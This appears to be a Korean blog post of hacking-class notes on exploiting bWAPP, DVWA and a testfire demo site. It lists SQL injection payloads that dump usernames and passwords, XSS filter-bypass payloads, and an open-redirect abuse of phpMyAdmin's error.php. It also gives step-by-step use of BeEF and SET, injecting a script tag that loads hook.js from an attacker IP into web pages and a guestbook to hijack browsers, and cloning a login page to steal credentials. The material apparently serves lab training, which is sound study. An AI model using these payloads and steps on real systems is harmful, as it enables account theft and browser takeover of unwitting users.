웹해킹 ( beebug,xss공격,beef툴,setoolkit,사용자계정탈취)

Web hacking|2020. 12. 1. 09:09

beebug,xss공격,beef툴,setoolkit,사용자계정탈취

XSS (크로스사이트 스크립트, 크로스사이트 스크립팅, Cross Site Scripting) 취약점

1. 정의

- 검증되지 않은 입력 값으로 인해 사용자의 웹 브라우저에서 의도하지 않은 악성 스크립트가 실행되는 취약점이다.

- 외부 입력이 동적 웹페이지 생성에 사용될 경우, 전송된 동적 웹 페이지를 열람하는 접속자의 권한으로 부적절한 스크립트가 수행되는 취약점이다.

- 공격을 통해 사용자의 개인정보 및 쿠키정보 탈취, 악성코드 감염, 웹 페이지 변조 등이 발생한다.

- 서버를 공격하는게 아니라, 서버를 경유해 클라이언트를 공격하는 것이다.

 

 

 

시판이나 웹 메일 등에 악의적인 스크립트를 삽입하여 비정상적인 페이지가

 

보이게해 타 사용자의 사용을 방해하거나 쿠키 및 기타 개인정보를 특정 사이트로

 

전송하는등의 문제

 

 

참고 bwapp은

bee-box 구글에서 다운받아

vmware에 open virtual machine을 하여

ifconfig로 나오는 아이피를 등록해서들어가면된다

아이디 bee

비밀번호 bug다

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1' or 1=1#

 

 

' union select all 1,2,3,4,5,6,7#

 

 

 

' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

 

 

' union select all 1,login,password ,4,5,6,7 from users#

 

' union select all 1,2,user(),4,5,6,7#

 

;

 

 

 

--------------------------------------------------

 

 

▲ Broken Auth(insecure login forms)

mid) hulk smash

high) sniper – bruteforcer – 3/3

▲ XSS-Stored(user-agent)

low) User-Agent:<script>alert("dd")</script>

 

 

------------------------------------------------

 

 

<div onclick='alert("")'>

<div onclick="alert(' ')">

 

 

 

문자열에 '로 감싸냐

문자열에 "로 감싸냐

 

 

 

 

 

user-Agent

[XSS - Stored (User-Agent)]

 

버프프록시 잡아서

 

 

 

 

 

 

 

 

▲ XSS-Stored(user-agent)

 

 

 

low) User-Agent:<script>alert("dd")</script>

 

 

 

 

 

 

--------------------------------------------------------------

 

 

 

 

 

 

 

 

 

 

 

 

 

<script>alert("dd")</script>

 

삽입!!!!

 

<script>alert("dd");alert("dd")</script> 두개넣는다른방법 이론적으로 가능

 

 

<scr<script>ipt>alert('aa')</sc<script>ript> 방법

 

ipt>alert(\'aa\')ript> 33 방법

 

ript> 33

 

 

<script>alert(String.fromCharCode(72,69,76,76,79))</script> 이거안에있는 숫자 가

<script>alert('HELLO')</script>

 

 

 

이거이거임!!!!!!!!!!!!!!!!!!!!!hello를 아스키코드로 만든것. 72,69,76,76,79 가 HELLO임

 

 

 

 

 

 

 

XSS-Reflected(post)

 

 

low) <script>alert("dd")</script>

mid) <script>alert(String.fromCharCode(72,69,76,76,79))</script>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

--------------------------------------------------------------------------------------------------------------------

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

우회하기위한 참조 스크립트모음

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

aaa??? 이것이 힌트다.

 

 

<script>alert('aa')</script>

<script>alert('aa')</script>??

 

 

 

 

 

 

 

 

 

<script>alert('aa')</script><script>alert('bb')</script>

 

앞에 스크립트는 실행, 뒤에는 우회

 

 

 

 

 

 

<script>alert('aa')</script>aaaa<script>alert('bb')</script>

 

 

 

 

 

XSS-Reflected(json)

 

 

low) <script>alert("aa")</script>eeee<script>alert("aa")</script>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

---------------------------------------------------------------------------------------------

 

 

 

 

 

 

 

 

 

AJAX/JSON 시작

 

비동기 통신 네이버의 자동검색!! 엔터를 안넣어도 뜸

 

 

 

 

 

 

 

위에 꺼랑 같은 증상

 

 

자동검색이여서 스크립트를써도 한방에못감 하나씩하나씩 실행되서 한번에 통쨰로 못보냄

한번에 실행되게만들기!!!!!!!!!!!!!!!!!!!!!!!!!!

 

 

ggg<script>alert('aa')</script>

 

 

 

 

 

 

 

 

 

 

 

입력하지않아도 프록시가 자동으로 잡힌다(자동검색이기 때문에

 

 

 

 

 

 

이런식으로 url에 다넣어본다

 

 

 

 

 

 

 

 

2-2란 페이지가 숨어있는것이확인가능하다 버프수트에서 근데 첨에는 2-1로되있으니까

 

2-2로 바꾸고 <script>alert("aa")</script> 붙여넣는다

 

 

 

 

 

 

 

 

 

 

▲ XSS-Reflected(ajax/json)

 

 

low) xss_ajax_2-2.php?title=<script>alert("aa")</script>

* 2-1은 눈에 보이는 페이지고, burp로 잡히는 숨겨진 페이지(2-2)에서 스크립트 입력

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

----------------------------------

 

 

----------------------------------------

 

----------------------------------

 

 

 

 

 

 

 

 

<script>alert('aa')</script>넣어보기

 

자동으로 링크만들어주는것이 HREF이다.

 

 

 

 

<html>

 

</html

 

 

 

 

 

 

 

마우스를 올리면 함수가 실행되는것을 알수가있으므로

 

 

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

 

여기에서 mouse를 검색해본다

 

 

 

 

 

 

 

 

 

 

 

 

 

 

▲ XSS-Reflected(href)

 

0 onmouseover=alert("aa") a

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

------------------------------------

 

 

 

-------------------------------------

 

 

 

 

 

 

 

 

 

 

 

 

 

medium으로 바꿔서 아스키코드

 

 

 

 

<script>alert(String.fromCharCode(72,69,76,76,79))</script> 넣으면됨!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

▲ XSS-Reflected(php self)

 

 

low) firstname=<script>alert("aa")</script>

mid) <script>alert(String.fromCharCode(72,69,76,76,79))</script>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

--------------------------------------------------------------------

 

 

 

 

 

 

 

 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4480

 

규정 취약점 사이트 여기 중요하다

 

 

 

사용자가 클릭하면 본인도 모르는 사이에 브라우저가 탈취되는상황

 

 

 

php 3.4.0 미만의 error.php 파일에서,

xss를 사용한 원격 공격 취약점이 발견되었다. 라는 뜻이다.

 

 

사용방법은 "[a@url@page]".

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

/phpmyadmin/error.php

 

 

 

 

구글에 error.php 치면 여러가지 방법이나온다!!!!!!!!!!!!!!!!!!!!!!!!!!

 

 

 

<html>

<a href="www.naver.com"> 네이버로 접속</a>

</html>

 

이것처럼 악용을한다

 

 

error.php?error=[a@http://www.naver.com@]login[/a] 네이버는 보안때매안됨

 

 

사용방법은 "[a@url@page]".

 

 

 

 

 

error.php?error=[a@http://demo.testfire.net@]login[/a]

 

악성사이트로이동!!!!

 

 

error.php?error=[a@http://demo.testfire.net@]login악성사이트로 이동[/a]

 

 

 

 

 

error.php?error=[a@http://demo.testfire.net/login.jsp@]login[/a]

 

정상적인 기능인데 악용이된다!!

 

 

 

 

 

 

 

 

 

http://192.168.0.252/phpmyadmin/error.php?error=[a@http://demo.testfire.net@]login[/a]

 

악성사이트로 이동하게됨

 

 

login 눌러보셈!

 

정상적인 기능인데 악용이된다!!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

----------------------------------------------

 

 

 

 

beef github

 

 

 

 

복사

 

 

 

 

 

 

 

깃클론

 

사용자 계정 탈취 툴!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!=-----------------~~!!!!

 

git clone https://github.com/beefproject/beef.git

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

./install 로 다운!!!!

 

 

 

 

 

 

./beef

 

오류발생

---------------------------------------------

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-------------------------------------------

 

 

 

 

 

 

 

 

 

 

 

 

사용자 계정 탈취툴

 

 

setoolkit

 

 

setoolkit github 구글치기!!!!

 

 

 

 

 

 

git clone https://github.com/trustedsec/social-engineer-toolkit.git

 

 

 

터미널에서 치기!

 

 

 

 

 

 

pip3 가 만약에 없다면

 

 

apt-get -y install python3-pip

 

 

 

pip3 install -r requirements.txt

python setup.py

 

 

 

 

pip3 가 만약에 없다면

 

 

apt-get -y install python3-pip

 

 

setoolkit 실행

 

 

 

 

 

 

 

 

--------------------------------------------

 

 

 

문제!!!!!!!!!!!!!!!!!!!!!!!

 

 

 

 

 

 

 

 

 

1.php 버전 취약점으로 <script> 태그없이 링크 생성

 

 

2.피해자는 링크를 클릭 한것으로 가정

 

3.피해자의 계정정보 탈취

 

 

 

가) beef 사용자의 브라우저를 탈취하는 악성링크를 생성

 

192.168.0.0/hook.js

 

 

 

 

 

 

error.php?error=[a@http://demo.testfire.net/login.jsp@]login[/a]

 

 

 

http://192.168.0.74:3000/ui/panel

 

 

 

 

 

192.168.0.74:3000/ui/panel

 

 

 

로그인가능

 

 

 

 

 

 

 

 

cd /var/www

 

vi index.html 수정

 

글씨를 쳣을떄 그 로그를 남게한다

없으면새로만들기

 

 

 

 

 

 

 

 

cd /var/www/html

 

vi index.html 수정

 

 

<script src="http://192.168.0.74:3000/hook.js"></script>

악성 스크립트 중간에 삽입해

192.168.0.74 를 넣어도된다. 왜냐 이글전에 페이북사이트를 페이크사이트로 만들어놨었기

떄문이다. 그러면 사람이페이스북으로 이동되고 좀비가되 아이디 비밀번호가 탈취된다.

 

 

 

 

 

 

 

 

이런식으로 로그가남음

 

좀비피시가 생기고 그에대한 로그가 생김

 

 

 

 

 

 

centos에서도 실험

 

이러면이제 centos도 감염이됫다

 

 

 

 

 

 

 

centos ip도 추가된걸 확인.

 

 

이거 수정하면 위치도 바꿀수있음구글,페이스북 등등

 

 

 

!!!!!!!!!!!!!!!!!!!!!!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-----------------------------------------------------------------

위에 꺼 선생님의 다른방법

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

나) setoolkit 가짜 사이트를 만들어서 피해자가 아이디와 패스워드를 입력하도록 유도

 

 

 

 

1번

2번

3번

2번

누르기!!!!!!!!!!!!!!!!!!!!!!!

 

 

 

http://demo.testfire.net/login.jsp

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

사용자 인증정보(쿠키)탈취

▲ Setoolkit(칼리리눅스)를 이용한 피해자 계정정보 탈취

- Setoolkit 설치(github)

- setoolkit – 1 – 2 – 3 – 2 선택

- 내 ip 입력 / 로그인 페이지 url(demo.testfire.net/login.jsp) 입력

- 스크립트가 먹히는 게시판 등에 다음 구문을 삽입하면, 피해자는 login 경고창을 보고

공격자가 clone한 사이트에 id/pass를 입력

- http://192./phpmyadmin/error.php?error=[a@http://www.clonesite@]login[/a]

- 피해자가 입력한 id/pass가 칼리 리눅스에 표시됨

 

▲ beef(칼리리눅스)를 이용한 피해자 브라우저 탈취

- 피해자가 <script src="http://192.168.0.2:3000/hook.js"></script>를 실행

- apache2의 index.html에 삽입하면 페이지에 접속한 사람은 본인도 모르게 hooked됨

 

 

 

 

---------------------------------------------

 

 

메타스플로잇 vmware로 키고 dvwa접속

 

 

 

▲ dvwa의 stored xss(guestbook)을 통한 쿠키 탈취

- 게시판에 다음 스크립트를 입력한다

- <script src="http://192.168.0.2:3000/hook.js"></script>

- 글자수가 제한되어 있으므로, 개발자 모드를 통해 입력폼 선택 후 maxlength를 변경

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

메타스플로잇 dvwa 확인.

 

 

 

 

 

 

 

 

시험삼아 해보기, 글자수가안됨

 

 

low) User-Agent:<script>alert("dd")</script>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

글자수가 없어서

개발자모드 를 키고

 

삽입한뒤 컨트롤 엔터!

 

 

 

 

 

 

 

 

답!

 

<script src="http://192.168.0.2:3000/hook.js"></script>

 

 

 

 

 

 

 

 

 

 

 

 

 

컨트롤 f로 hook 검색해 찾는다. 그러면 이 메타스플로잇 dvwa 도 감염되는걸 확인가능

 

 

 

beef에서 확인하기~!

 

 

오늘끝

 

댓글()